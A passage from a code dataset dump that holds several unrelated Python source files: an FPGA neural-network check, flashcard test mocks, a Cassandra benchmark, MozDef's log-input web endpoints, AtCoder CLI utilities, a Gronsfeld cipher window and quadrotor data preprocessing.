w_int16[0], b_int32[0], inp, g_in_scale, g_post_scale[0])\r\n #print (\"o1 range (\", np.min(o1), \",\", np.max(o1), \")\")\r\n o1[o1 < 0] = 0\r\n o2 = compute_dense ( w_int16[1], b_int32[1], o1, 1, g_post_scale[1])\r\n #print (\"o2 range (\", np.min(o2), \",\", np.max(o2), \")\") \r\n o2[o2 < 0] = 0\r\n o3 = compute_dense ( w_int16[2], b_int32[2], o2, 1, g_post_scale[2])\r\n #print (\"o3 range (\", np.min(o3), \",\", np.max(o3), \")\")\r\n \r\n #softmax\r\n for i in range(o3.shape[0]):\r\n o3[i,:] = softmax(np.float64(o3[i,:]))\r\n return o3\r\n\r\ndef compute_standalone( inp, wb ):\r\n print (\"inp (\", np.min(inp), \",\", np.max(inp))\r\n for i,w in enumerate(wb):\r\n print ( \"w\", i, \": \", np.min(w), \", \", np.max(w))\r\n \r\n o1 = np.matmul ( inp, wb[0])\r\n o1 = o1 + wb[1]\r\n print (\"o1 (\", np.min(o1), \",\", np.max(o1))\r\n o1[o1 < 0] = 0\r\n o2 = np.matmul ( o1, wb[2])\r\n o2 = o2 + wb[3]\r\n print (\"o2 (\", np.min(o2), \",\", np.max(o2)) \r\n o2[o2 < 0] = 0\r\n o3 = np.matmul ( o2, wb[4])\r\n print (\"o3 (\", np.min(o3), \",\", np.max(o3)) \r\n o3 = o3 + wb[5]\r\n #softmax\r\n for i in range(o3.shape[0]):\r\n o3[i,:] = softmax(np.float64(o3[i,:]))\r\n return o3\r\n \r\ndef compare_results ( expected, actual):\r\n e_r = np.around(expected,decimals=3)\r\n a_r = np.around(actual, decimals=3)\r\n if np.array_equal (e_r, a_r):\r\n print (\"SUCCESS!!!\")\r\n else:\r\n diff = e_r - a_r\r\n num_diff = 0\r\n for i in range (e_r.shape[0]):\r\n if not np.array_equal( e_r[i,:] , a_r[i,:]):\r\n print(\"line\", i+1, \"is different\")\r\n num_diff += 1\r\n \r\n print ( num_diff , \"/\", e_r.shape[0], \"incorrect\")\r\n np.savetxt(\"out.np\", a_r, fmt=\"%f\")\r\n np.savetxt(\"out_golden.np\", e_r, fmt=\"%f\")\r\n np.savetxt(\"diff.np\", e_r - a_r, fmt=\"%f\")\r\n \r\ndef create_keras_model(in_dims, num_classes):\r\n '''\r\n Generate a simple Keras model.\r\n ''' \r\n model = Sequential()\r\n model.add(Dense(100, input_dim=in_dims, activation='relu', name='d1'))\r\n model.add(Dense(25, activation='relu', name='d2'))\r\n model.add(Dense(num_classes, activation='softmax', name='d3'))\r\n #model.add(Dense(num_classes, name='d3'))\r\n model.summary()\r\n return model\r\n\r\nif __name__ == '__main__':\r\n np.random.seed(27)\r\n parser = argparse.ArgumentParser(description='GEMX')\r\n parser.add_argument('--data', required = True, help='inference data file')\r\n parser.add_argument('--model', required = True, help='model')\r\n #parser.add_argument('--device', default = 'fpga', choices=['cpu', 'fpga'], help='choose cpu or FPGA execution') \r\n parser.add_argument('--xclbin', required = True, help='file path to FPGA bitstream')\r\n parser.add_argument('--cfg', required = True, help='file describing properties of .xclbin')\r\n parser.add_argument('--gemxlib', required = True, help='file path to GEMX host code shared library')\r\n args = parser.parse_args()\r\n xclbin_prop = gemx.parse_cfg(args.cfg)\r\n\r\n #load xclbin \r\n gemx.createFCNHandle( args, xclbin_prop )\r\n \r\n train_fd = pd.read_csv(args.data) # Load training data.\r\n IDcol = 'Run' # A column used to identified the run for data collection; not an independent variable.\r\n target = 'Class' # The column name for our dependent variable.\r\n predictors = [x for x in train_fd.columns if x not in [target, IDcol]] # Define column names to use as independent variables.\r\n \r\n # Encode class values as integers\r\n encoder = LabelEncoder()\r\n encoder.fit(train_fd[target])\r\n encoded_Y = encoder.transform(train_fd[target])\r\n # Convert integers to dummy variables (i.e. one hot encoded)\r\n train_y = np_utils.to_categorical(encoded_Y)\r\n\r\n #hwemu_out = predict_hwemu( args.model, train_fd[predictors], len(train_fd[target].unique()) )\r\n fpga_out = predict_fpga( args, train_fd[predictors], len(train_fd[target].unique()), xclbin_prop)\r\n cpu_out = predict_cpu( args.model, len(predictors), train_fd[predictors], len(train_fd[target].unique()) )\r\n \r\n compare_results ( cpu_out, fpga_out)\r\n","repo_name":"powellz/gemxtest","sub_path":"examples/keras/mlp.py","file_name":"mlp.py","file_ext":"py","file_size_in_byte":7868,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"20734457091","text":"import requests\nimport os, sys\nfrom urllib.request import url2pathname\n \n\n\nclass LocalFileAdapter(requests.adapters.BaseAdapter):\n \"\"\"Protocol Adapter to allow Requests to GET file:// URLs\"\"\"\n\n @staticmethod\n def _chkpath(method, path):\n \"\"\"Return an HTTP status for the given filesystem path.\"\"\"\n if method.lower() in ('put', 'delete'):\n return 501, \"Not Implemented\" # TODO\n elif method.lower() not in ('get', 'head'):\n return 405, \"Method Not Allowed\"\n elif os.path.isdir(path):\n return 400, \"Path Not A File\"\n elif not os.path.isfile(path):\n return 404, \"File Not Found\"\n elif not os.access(path, os.R_OK):\n return 403, \"Access Denied\"\n else:\n return 200, \"OK\"\n\n\n def send(self, req, **kwargs): # pylint: disable=unused-argument\n \"\"\"Return the file specified by the given request\n @type req: C{PreparedRequest}\n \"\"\"\n path = os.path.normcase(os.path.normpath(url2pathname(req.path_url)))\n response = requests.Response()\n\n response.status_code, response.reason = self._chkpath(req.method, path)\n if response.status_code == 200 and req.method.lower() != 'head':\n try:\n response.raw = open(path, 'rb')\n except (OSError, IOError) as err:\n response.status_code = 500\n response.reason = str(err)\n\n if isinstance(req.url, bytes):\n response.url = req.url.decode('utf-8')\n else:\n response.url = req.url\n\n response.request = req\n response.connection = self\n\n return response\n\n\n def close(self):\n pass\n\n\n\nclass dict_mock():\n def get(self, word):\n translations = ['witaj świEcie', 'domyślny serwis', 'czerwony', 'traktować kogoś z honorami', 'lorem ipsum']\n originals = ['hello world', 'default dict service for tests', 'red', 'to roll out the red carpet for sb [or to give sb the red carpet treatment]', 'dolor sit amet']\n warnings = []\n if word == 'none': \n translations.clear()\n originals.clear()\n elif word == 'mauve':\n translations = ['mauve']\n originals = ['jasno fioletowy']\n elif word == 'error':\n warnings = ['TEST ERROR INDUCED']\n return translations, originals, warnings\n\n\n\nclass cell_mock:\n def __init__(self, value) -> None:\n self.value = value\n\nclass xlsx_mock:\n def __init__(self, data:list, rows=10) -> None:\n self.data = [[None]*3 for _ in range(rows)]\n self.init_len = len(data)\n for i, r in enumerate(data):\n self.data[i+1] = ['', *r]\n\n def cell(self, row, column, value=None):\n if value: \n self.data[row][column] = value\n return cell_mock(self.data[row][column])\n \n @property\n def max_row(self):\n i = 0\n for k in self.data[1:]:\n if not k[1]:\n break\n i+=1\n return i\n\nclass workbook_mock:\n def __init__(self, ws:dict) -> None:\n self.ws = ws # worksheets = {name: data}\n\n def __getitem__(self, ws):\n return xlsx_mock(self.ws[ws])\n\n def save(self, *args, **kwargs):\n pass\n\n def close(self, *args, **kwargs):\n pass","repo_name":"AlbertP3/FlashCards","sub_path":"tests/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":3324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12021746094","text":"from cassandra.cluster import Cluster\nfrom cassandra.query import BatchStatement\n\nfrom time import time\n\ncluster = Cluster([\"172.17.0.2\"])\nsession = cluster.connect('user2')\nsession.execute(\"TRUNCATE user2.test;\")\n\nstart = time()\ndata_cnt = 100000\nbulk_cnt = 100\nfor i in range((int)(data_cnt/bulk_cnt)):\n insert_user = session.prepare(\"insert into user2.test (name, age, city) values (?, ?, 'Austin')\")\n batch = BatchStatement()\n for j in range(bulk_cnt):\n batch.add(insert_user, (\"Jones\"+str(i*bulk_cnt+j), j))\n session.execute(batch)\n\nend = time()\ninterval = end-start\nprint (\"time:\", interval, \"through ops/per second:\", data_cnt/interval)\n\nstart2 = time()\nresult = session.execute(\"select * from user2.test where name='Jones54'\")\n\nfor x in result:\n print (x.age, x.name, x.city)\n\nend2 = time() - start2\nprint(\"time:\",end2)\n","repo_name":"NoahSterling/cassandra_test","sub_path":"cassandra_test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32099193175","text":"#jai mata di#\nimport sys\n# sys.stdin = open('input.in', 'r') \n# sys.stdout = open('output.out', 'w')\n\n# from time import perf_counter\n# t_start=perf_counter()\nit =[0, 1, 1, 2, 1, 2, 2, 3, 1, 2, 2, 3, 2, 3, 3, 4] \ndef count(x): \n hexnum = 0 \n if(0 == x): \n return it[0]\n hexnum =x&0xf \n return it[hexnum] + count(x>>4)\n\n\ndef solve():\n\tin1=sys.stdin.readline()\n\tn,m=map(int,in1.split())\n\tin2=sys.stdin.readline()\n\tl=list(map(int,in2.split()))\n\tfor y in range(len(l)):\n\t\tl[y]=count(l[y])\n\tfor i in range(m):\n\t\tp=int(sys.stdin.readline())\n\t\tsetbitinp=count(p)\n\t\tsetbit=0\n\t\tev=0\n\t\tod=0\n\t\tfor j in l:\n\t\t\tif setbitinp%2==0 and j%2==0:\n\t\t\t\tev+=1\n\t\t\telif setbitinp%2!=0 and j%2!=0:\n\t\t\t\tev+=1\n\t\t\telse:\n\t\t\t\tod+=1\n\t\tsys.stdout.write(str(ev)+\" \"+str(od)+\"\\n\")\nt=int(sys.stdin.readline())\nfor i in range(t):\n\tsolve()\n# t_end=perf_counter()\n# print(\"time\",t_end-t_start)","repo_name":"adityachaudhary147/py-codes","sub_path":"xorengine.py","file_name":"xorengine.py","file_ext":"py","file_size_in_byte":876,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"16933715615","text":"import os\nfrom bottle import route, run, response, request, default_app\nfrom bottle import _stdout as bottlelog\nfrom kombu import Connection, Queue, Exchange\nimport json\nfrom configlib import getConfig, OptionParser\n\n\n@route('/status')\n@route('/status/')\ndef status():\n '''endpoint for a status/health check'''\n if request.body:\n request.body.read()\n request.body.close()\n response.status = 200\n response.content_type = \"application/json\"\n response.body = json.dumps(dict(status='ok', service='loginput'))\n return response\n\n\n@route('/test')\n@route('/test/')\ndef testindex():\n # ip = request.environ.get('REMOTE_ADDR')\n # response.headers['X-IP'] = '{0}'.format(ip)\n response.status=200\n\n# act like elastic search bulk index\n\n\n@route('/_bulk',method='POST')\n@route('/_bulk/',method='POST')\ndef bulkindex():\n if request.body:\n bulkpost=request.body.read()\n # bottlelog('request:{0}\\n'.format(bulkpost))\n request.body.close()\n try: # Handles json array bulk format [{},{},...]\n messages = json.loads(bulkpost)\n for event in messages:\n # don't post the items telling us where to post things..\n if 'index' not in event:\n ensurePublish=mqConn.ensure(mqproducer,mqproducer.publish,max_retries=10)\n ensurePublish(event,exchange=eventTaskExchange,routing_key=options.taskexchange)\n return\n except ValueError as e:\n bottlelog('Decoded raw input failed with {0}'.format(e))\n pass\n\n if len(bulkpost)>10: # Handles single element format {}\n # TODO Check for other bulk formats.\n # iterate on messages and post to event message queue\n eventlist=[]\n for i in bulkpost.splitlines():\n eventlist.append(i)\n\n for i in eventlist:\n try:\n # valid json?\n try:\n eventDict=json.loads(i)\n except ValueError:\n response.status=500\n return\n # don't post the items telling us where to post things..\n if 'index' not in json.loads(i):\n ensurePublish=mqConn.ensure(mqproducer,mqproducer.publish,max_retries=10)\n ensurePublish(eventDict,exchange=eventTaskExchange,routing_key=options.taskexchange)\n except ValueError:\n bottlelog('value error {0}'.format(i))\n return\n\n\n@route('/_status')\n@route('/_status/')\n@route('/nxlog/', method=['POST','PUT'])\n@route('/nxlog', method=['POST','PUT'])\n@route('/events/',method=['POST','PUT'])\n@route('/events', method=['POST','PUT'])\ndef eventsindex():\n if request.body:\n anevent=request.body.read()\n # bottlelog('request:{0}\\n'.format(anevent))\n request.body.close()\n # valid json?\n try:\n eventDict=json.loads(anevent)\n except ValueError:\n response.status=500\n return\n # let the message queue worker who gets this know where it was posted\n eventDict['endpoint']='events'\n # post to event message queue\n ensurePublish=mqConn.ensure(mqproducer,mqproducer.publish,max_retries=10)\n ensurePublish(eventDict,exchange=eventTaskExchange,routing_key=options.taskexchange)\n\n return\n\n\n@route('/cef', method=['POST','PUT'])\n@route('/cef/',method=['POST','PUT'])\n# debug(True)\ndef cefindex():\n if request.body:\n anevent=request.body.read()\n request.body.close()\n # valid json?\n try:\n cefDict=json.loads(anevent)\n except ValueError:\n response.status=500\n return\n # let the message queue worker who gets this know where it was posted\n cefDict['endpoint']='cef'\n\n # post to eventtask exchange\n ensurePublish=mqConn.ensure(mqproducer,mqproducer.publish,max_retries=10)\n ensurePublish(cefDict,exchange=eventTaskExchange,routing_key=options.taskexchange)\n return\n\n\n@route('/custom/<application>',method=['POST','PUT'])\ndef customindex(application):\n '''\n and endpoint designed for custom applications that want to post data\n to elastic search through the mozdef event interface\n post to /custom/vulnerabilities\n for example to post vulnerability in a custom format\n Posts must be in json and are best formatted using a plugin\n to the esworker.py process.\n '''\n if request.body:\n anevent=request.body.read()\n request.body.close()\n # valid json?\n try:\n customDict=json.loads(anevent)\n except ValueError:\n response.status=500\n return\n # let the message queue worker who gets this know where it was posted\n customDict['endpoint']= application\n customDict['customendpoint'] = True\n\n # post to eventtask exchange\n ensurePublish=mqConn.ensure(mqproducer,mqproducer.publish,max_retries=10)\n ensurePublish(customDict,exchange=eventTaskExchange,routing_key=options.taskexchange)\n return\n\n\ndef initConfig():\n options.mqserver=getConfig('mqserver','localhost',options.configfile)\n options.taskexchange=getConfig('taskexchange','eventtask',options.configfile)\n options.mquser=getConfig('mquser','guest',options.configfile)\n options.mqpassword=getConfig('mqpassword','guest',options.configfile)\n options.mqport=getConfig('mqport',5672,options.configfile)\n options.listen_host=getConfig('listen_host', '127.0.0.1', options.configfile)\n\n\n# get config info:\nparser=OptionParser()\nparser.add_option(\"-c\", dest='configfile', default=os.path.join(os.path.dirname(__file__), __file__).replace('.py', '.conf'), help=\"configuration file to use\")\n(options,args) = parser.parse_args()\ninitConfig()\n\n# connect and declare the message queue/kombu objects.\nconnString='amqp://{0}:{1}@{2}:{3}//'.format(options.mquser,options.mqpassword,options.mqserver,options.mqport)\nmqConn=Connection(connString)\n\neventTaskExchange=Exchange(name=options.taskexchange,type='direct',durable=True)\neventTaskExchange(mqConn).declare()\neventTaskQueue=Queue(options.taskexchange,exchange=eventTaskExchange)\neventTaskQueue(mqConn).declare()\nmqproducer = mqConn.Producer(serializer='json')\n\nif __name__ == \"__main__\":\n run(host=options.listen_host, port=8080)\nelse:\n application = default_app()\n","repo_name":"mozilla/MozDef","sub_path":"loginput/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":6485,"program_lang":"python","lang":"en","doc_type":"code","stars":2170,"dataset":"github-code","pt":"61"} +{"seq_id":"1741219762","text":"import http\nimport json\nimport os\nfrom pathlib import Path\nfrom typing import Dict, Optional, Union\n\nimport appdirs\nfrom bs4 import BeautifulSoup\nimport requests\n\nfrom .consts import ENCODING\n\n\nCONTEST_JSON_NAME = '.contest.json'\nTASK_JSON_NAME = '.task.json'\nuser_data_dir = Path(appdirs.user_data_dir('acshell'))\nuser_cache_dir = Path(appdirs.user_cache_dir('acshell'))\ncookie_path = user_data_dir / 'cookie.jar'\n\n\ndef print_bar() -> None:\n \"\"\"区切り線を出力する\n \"\"\"\n print('-' * 60)\n\n\ndef load_json(json_path: Optional[Path] = None) -> Dict:\n \"\"\"jsonを読み込む\n \"\"\"\n if json_path is None:\n current_dir = Path.cwd()\n json_path = current_dir / CONTEST_JSON_NAME\n\n if json_path.exists():\n with json_path.open(encoding=ENCODING) as f:\n data = json.load(f)\n else:\n raise RuntimeError\n\n return data\n\n\ndef save_json(json_path: Path, data: Dict) -> Path:\n \"\"\"jsonに書き込む\n \"\"\"\n try:\n if json_path.is_dir():\n json_path = json_path / CONTEST_JSON_NAME\n with json_path.open(mode='w', encoding=ENCODING) as f:\n json.dump(data, f)\n except Exception:\n raise RuntimeError(f'設定の保存に失敗しました: {json_path}')\n\n return json_path\n\n\ndef search_contest_json() -> Optional[Path]:\n \"\"\"上位ディレクトリにcontest.jsonがあるかどうかを調べる\n \"\"\"\n cur_dir = Path.cwd()\n root_dir = Path(cur_dir.root)\n while cur_dir != root_dir:\n try:\n json_path = cur_dir / CONTEST_JSON_NAME\n if json_path.is_file():\n return json_path\n\n cur_dir = cur_dir.parent\n except Exception:\n break\n\n return None\n\n\ndef search_task_json(task_code: str) -> Optional[Path]:\n \"\"\"task.jsonがあるかどうかを調べる\n \"\"\"\n # TODO: 深いところでも再帰的に探せるようにする\n current_dir = Path.cwd()\n task_path = current_dir.joinpath(TASK_JSON_NAME)\n if task_code:\n contest_json = search_contest_json()\n if contest_json is None:\n raise RuntimeError('コンテストのフォルダにいません')\n task_path = contest_json.parent / task_code / TASK_JSON_NAME\n if task_path.is_file():\n return task_path\n\n raise RuntimeError(f'タスクが見つかりません: {task_code}')\n\n\ndef get_cheat_dir() -> Path:\n \"\"\"チートシートディレクトリを取得する\n \"\"\"\n env_path = os.environ.get('ACSHELL_PATH', '')\n if not env_path:\n raise RuntimeError('チートシートのフォルダが設定されていません。再度インストールしてください。')\n\n return Path(env_path)\n\n\ndef get_soup(session: requests.Session, url: str) -> BeautifulSoup:\n response = session.get(url)\n if response.status_code != 200:\n raise RuntimeError(f'Webページの取得に失敗しました: {url}')\n\n soup = BeautifulSoup(response.text, 'lxml')\n return soup\n\n\nclass URL:\n \"\"\"URLを格納する\n \"\"\"\n\n BASE = 'https://atcoder.jp/'\n LOGIN = BASE + 'login'\n SETTINGS = BASE + 'settings'\n\n @classmethod\n def contest(cls, contest: str) -> str:\n return cls.BASE + 'contests/' + contest\n\n @classmethod\n def task(cls, contest: str, task: str = None) -> str:\n _res = cls.contest(contest) + '/tasks'\n if isinstance(task, str):\n return _res + '/' + task\n\n return _res\n\n @classmethod\n def submit(cls, contest: str, task: str = None) -> str:\n _res = cls.contest(contest) + '/submit'\n if isinstance(task, str):\n return _res + '?taskScreenName=' + task\n\n return _res\n\n @classmethod\n def result(\n cls, contest: str, task: str = None, submission_id: Union[int, str] = None, page: int = 1,\n ) -> str:\n _res = cls.contest(contest) + '/submissions'\n if isinstance(submission_id, (int, str)):\n # id指定がある場合はその結果を取得する\n _res += '/' + str(submission_id)\n else:\n # id指定がなければ自分の提出を取得する\n _res += f'/me?page={page}'\n if isinstance(task, str):\n # 問題指定\n _res += '&f.Task=' + task\n\n return _res\n\n\nclass CookieSession(requests.Session):\n \"\"\"コマンドごとに認証情報入りのセッションを生成する\n\n refs: https://github.com/online-judge-tools/api-client/blob/\n 8529981e570c231770ac2347270623d29c9b14f9/onlinejudge/utils.py#L44\n \"\"\"\n\n def __init__(self, *args, **kwargs) -> None:\n super().__init__(*args, **kwargs)\n # Cookieの設定\n self.cookies: requests.models.cookies.RequestsCookieJar = \\\n http.cookiejar.LWPCookieJar(str(cookie_path))\n if cookie_path.exists():\n self.cookies.load(ignore_discard=True)\n self.cookies.clear_expired_cookies()\n # ログインのフラグ設定\n self.is_logined: Optional[bool] = None\n self.get(URL.SETTINGS)\n\n def __enter__(self):\n return super().__enter__()\n\n def __exit__(self, exc_type, exc_value, traceback) -> None:\n cookie_path.parent.mkdir(parents=True, exist_ok=True)\n self.cookies.save(ignore_discard=True)\n cookie_path.chmod(0o600)\n return super().__exit__(exc_type, exc_value, traceback)\n\n def quit(self) -> None:\n self.__exit__(None, None, None)\n\n def request(self, *args, **kwargs):\n \"\"\"レスポンスを読んでログインしているかどうかを確認する\n \"\"\"\n # 有効期限の切れたCookieを破棄する\n self.cookies.clear_expired_cookies()\n # 処理を行う\n response = super().request(*args, **kwargs)\n # ログイン状態にあるかどうかを確認する\n if URL.LOGIN in response.url:\n self.is_logined = False\n else:\n self.is_logined = True\n\n return response\n","repo_name":"tani-cat/atcoder-shell","sub_path":"src/acshell/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":6011,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1763154087","text":"import string as ascii_symbols\nfrom PyQt6.QtWidgets import QMainWindow\nfrom PyQt6.QtGui import QIcon\nfrom lib.ui import UiGronsfeld\nfrom lib.helpers import WindowHelper\nfrom lib.helpers.exceptions import InvalidKey\n\n\nclass GronsfeldWindow(QMainWindow, UiGronsfeld, WindowHelper):\n \"\"\"\n Window class with method logic\n \"\"\"\n def __init__(self):\n super().__init__()\n # Window initialization area\n self.setupUi(self)\n self.setWindowIcon(QIcon('lib/media/icon.png'))\n self.pushButton_encrypt.clicked.connect(self.encrypt)\n self.pushButton_decrypt.clicked.connect(self.decrypt)\n self.pushButton_paste.clicked.connect(self.paste_from_buffer)\n self.pushButton_clearInput.clicked.connect(self.copy_to_buffer)\n self.pushButton_copy.clicked.connect(self.clear_input)\n self.pushButton_clearOutput.clicked.connect(self.clear_output)\n self.pushButton_exit.clicked.connect(self.close)\n\n # Method area\n self.result = \"\"\n a = ord('а')\n\n self.cyrillic_low = [chr(i) for i in range(a, a + 6)] + [chr(a + 33)] + [chr(i) for i in range(a + 6, a + 32)]\n self.cyrillic_high = [i.swapcase() for i in self.cyrillic_low]\n self.latin_low = ascii_symbols.printable[10:36]\n self.latin_high = ascii_symbols.printable[36:62]\n\n def parse_key(self):\n key = self.plainTextEdit_key.toPlainText()\n text_length = len(self.plainTextEdit.toPlainText())\n if text_length == 0:\n return\n if len(key) == 0:\n raise InvalidKey(\"Key not entered.\")\n\n try:\n key_multiplied = (key * (text_length // len(key) + 1))[:text_length]\n return [int(digit) for digit in key_multiplied]\n except ValueError:\n raise InvalidKey\n\n def encrypt(self):\n message = self.plainTextEdit.toPlainText()\n\n try:\n key = self.parse_key()\n except InvalidKey as error:\n self.statusbar.showMessage(\"Некоректное значение ключа.\")\n self.textBrowser.setText(str(error))\n return\n\n self.result = self.transform(message, key, action=\"encrypt\")\n\n self.statusbar.showMessage(\"Текст зашифрован.\")\n self.textBrowser.setText(self.result)\n\n def decrypt(self):\n ciphertext = self.plainTextEdit.toPlainText()\n\n try:\n key = self.parse_key()\n except InvalidKey as error:\n self.statusbar.showMessage(\"Некоректное значение ключа.\")\n self.textBrowser.setText(str(error))\n return\n\n self.result = self.transform(ciphertext, key, action=\"decrypt\")\n\n self.statusbar.showMessage(\"Текст расшифрован.\")\n self.textBrowser.setText(self.result)\n\n def transform(self, text, key, action=None):\n multiplier = -1 if action == \"decrypt\" else 1\n\n result = list(text)\n for alphabet in [self.cyrillic_low, self.cyrillic_high, self.latin_low, self.latin_high]:\n for index, symbol in enumerate(text):\n if symbol in alphabet:\n result[index] = alphabet[(alphabet.index(symbol) + key[index] * multiplier) % len(alphabet)]\n\n return \"\".join(result)\n\n\n\n\n","repo_name":"4dreadhead/Cryptography","sub_path":"lib/methods/symmetric_methods/gronsfeld.py","file_name":"gronsfeld.py","file_ext":"py","file_size_in_byte":3301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15754075422","text":"\"\"\"\nModule to process the data coming from the .mat files. Some functionalities have been removed from the original version to make development more agile.\nThe module assumes that all datasets have the same number of quadrotors\n\nIt only produces one set of input/target data shapes:\n- Input data is a list with:\n - Element 0: Data array for the query agent.\n - Element 1: List of data arrays for the other agents.\n- Target data is an array with the future positions/velocities for the query agent.\nFurthermore, all quadrotors in each of the datasets have been considered as query agents in order to generate more data for training.\n\nNOTE: X_types 'pos', 'vel' and 'full' have not been implemented. Only 'vel_pos' and 'vel_full' are available.\n\"\"\"\n\nimport os\nimport numpy as np\nfrom scipy.io import loadmat\nfrom scipy.linalg import hankel\nimport sklearn.preprocessing as skp\n\ndef prepare_data(data_paths, args, shuffle = True, relative = True):\n past_steps = args['past_steps']\n future_steps = args['future_steps']\n X_type = args['X_type']\n Y_type = args['Y_type']\n \n # Define lists that will store inputs and targets\n query_agent_input = []\n other_agents_inputs = []\n targets = []\n\n for data_path in data_paths:\n # Load mat file\n data = loadmat(data_path)\n\n # Extract data from datafile\n goal_array = data['log_quad_goal'] # [goal pose (4), timesteps, quadrotors] \n state_array = data['log_quad_state_real'] # [states (9), timesteps, quadrotors] \n logsize = int(data['logsize'])\n n_quads = goal_array.shape[2]\n\n # Find last time step which can be used for training\n final_timestep = find_last_usable_step(goal_array, logsize, n_quads)\n\n # Define states to be used as inputs\n if X_type == 'vel_pos':\n idx_X1_state_init = 3\n idx_X1_state_end = 6\n idx_X2_state_init = 0\n idx_X2_state_end = 3\n elif X_type == 'vel_full':\n idx_X1_state_init = 3\n idx_X1_state_end = 6\n idx_X2_state_init = 0\n idx_X2_state_end = 6\n elif X_type == 'vel': \n idx_X1_state_init = 3\n idx_X1_state_end = 6\n idx_X2_state_init = 3\n idx_X2_state_end = 6\n elif X_type == 'pos': \n idx_X1_state_init = 0\n idx_X1_state_end = 3\n idx_X2_state_init = 0\n idx_X2_state_end = 3\n elif X_type == 'full': \n idx_X1_state_init = 0\n idx_X1_state_end = 6\n idx_X2_state_init = 0\n idx_X2_state_end = 6\n else:\n raise Exception(\"Invalid X_type argument\")\n \n if Y_type == 'pos':\n idx_Y_state_init = 0\n idx_Y_state_end = 3\n elif Y_type == 'vel':\n idx_Y_state_init = 3\n idx_Y_state_end = 6\n else:\n raise Exception(\"Invalid Y_type argument\") \n \n for query_quad_idx in range(n_quads):\n other_quad_idxs = [idx for idx in range(n_quads) if idx != query_quad_idx]\n \n # Add first element of the list of inputs, which corresponds to the query agent's data\n input1_data = state_array[idx_X1_state_init:idx_X1_state_end,\\\n 0:final_timestep - future_steps,\\\n query_quad_idx]\n query_quad_sequence = expand_sequence(input1_data, past_steps)\n query_agent_input.append(query_quad_sequence)\n \n # Add second element to the list of inputs, which is the list of other agent's data\n input2_data = state_array[idx_X2_state_init:idx_X2_state_end,\\\n 0:final_timestep - future_steps,\\\n :]\n \n if relative:\n query_agent_curr_pos = state_array[0:3, 0:final_timestep - future_steps, query_quad_idx:query_quad_idx+1]\n input2_data[0:3, :, :] = input2_data[0:3, :, :] - query_agent_curr_pos # Relative positions to the query agent\n \n input2 = []\n for quad_idx in other_quad_idxs:\n other_quad_sequence = expand_sequence(input2_data[:,:,quad_idx], past_steps)\n input2.append(other_quad_sequence)\n other_agents_inputs.append(input2)\n\n # Slice state_array to build target_data\n target_data = state_array[idx_Y_state_init:idx_Y_state_end,\\\n past_steps:final_timestep,\\\n query_quad_idx:query_quad_idx + 1]\n \n # Expand target feature sequences\n target = expand_sequence(target_data, future_steps)\n \n # Compute relative positions for the future trajectory of query quadrotor\n if Y_type == 'pos':\n query_agent_prev_pos = state_array[0:3,\\\n past_steps-1:final_timestep-future_steps,\\\n query_quad_idx].transpose() # [time steps, position coordinates]\n target = target - np.expand_dims(query_agent_prev_pos, axis = 1)\n \n # Add target to master list of targets\n targets.append(target)\n \n # Stack all the data for the query agent through the first axis (samples)\n X = [ np.vstack(query_agent_input) ]\n \n n_experiments = len(other_agents_inputs)\n n_other_agents = len(other_agents_inputs[0])\n \n X2_list = [] # To unpack the information of the other quadrotors\n for __ in range(n_other_agents): # Number of other quadrotors\n X2_list.append([])\n \n for exp_idx in range(n_experiments): # For each of the experiments\n for other_quad_idx in range(n_other_agents): # We assume that all experiments have the same number of quadrotors\n X2_list[other_quad_idx].append(other_agents_inputs[exp_idx][other_quad_idx])\n \n for other_quad_idx in range(n_other_agents):\n X.append(np.vstack(X2_list[other_quad_idx])) \n \n Y = np.vstack(targets)\n \n if shuffle:\n idxs = np.random.permutation(Y.shape[0]) # Indexes to shuffle arays\n for i in range(len(X)):\n X[i] = X[i][idxs]\n Y = Y[idxs]\n\n return X, Y \n\ndef find_last_usable_step(goal_array, logsize, n_quads): \n zero_index = [] # Time step at which all goal states are zero (simulation stops)\n for i in range(100, goal_array.shape[1]): # The 100 is a manual fix, datasets should always be much bigger than this\n for j in range(n_quads): \n if np.array_equiv(goal_array[:,i,j], [0, 0, 0, 0]):\n zero_index = i\n break\n else:\n zero_index = []\n if zero_index != []:\n break\n if zero_index == []:\n zero_index = goal_array.shape[1]\n final_timestep = min(zero_index-1, logsize) # Final time step\n return final_timestep\n\ndef expand_sequence(sequence_array, horizon): \n # Sequence array has shape [features, time steps]\n # Expanded sequence will have shape [time steps, horizon, features]\n expanded_sequence = np.zeros((sequence_array.shape[1]-horizon+1,\\\n horizon,\\\n sequence_array.shape[0]))\n \n for i in range(sequence_array.shape[0]): # For each feature\n sequence = sequence_array[i, :]\n expanded_sequence[:, :, i] = hankel(sequence[0:horizon],\\\n sequence[horizon-1:]).transpose()\n \n return expanded_sequence\n\ndef reduce_sequence(hankel_matrix):\n aux = []\n for feature_idx in range(hankel_matrix.shape[2]):\n aux.append( np.concatenate([hankel_matrix[0, :, feature_idx], hankel_matrix[1:, -1, feature_idx]], axis = 0) )\n return np.stack(aux, axis = 1)\n\ndef get_scaler(data, feature_range = (-1, 1)):\n if type(data) == list: # For input data\n scaler = [] # List of scalers\n scaler.append( skp.MinMaxScaler(feature_range=feature_range) )\n scaler.append( skp.MinMaxScaler(feature_range=feature_range) )\n\n scaler[0].fit(reduce_sequence(data[0])) \n # scaler[1].fit(reduce_sequence( np.vstack(data[1])))\n # TODO: Data structure fix\n scaler[1].fit(reduce_sequence( np.vstack(data[1:])))\n else: # For target data\n scaler = skp.MinMaxScaler(feature_range=feature_range)\n scaler.fit(reduce_sequence(data))\n \n return scaler\n\ndef scale_data(data, scaler):\n if type(data) == list: # For input data\n data_scaled = []\n data_scaled.append( np.zeros_like(data[0]) )\n for horizon_step in range(data[0].shape[1]):\n 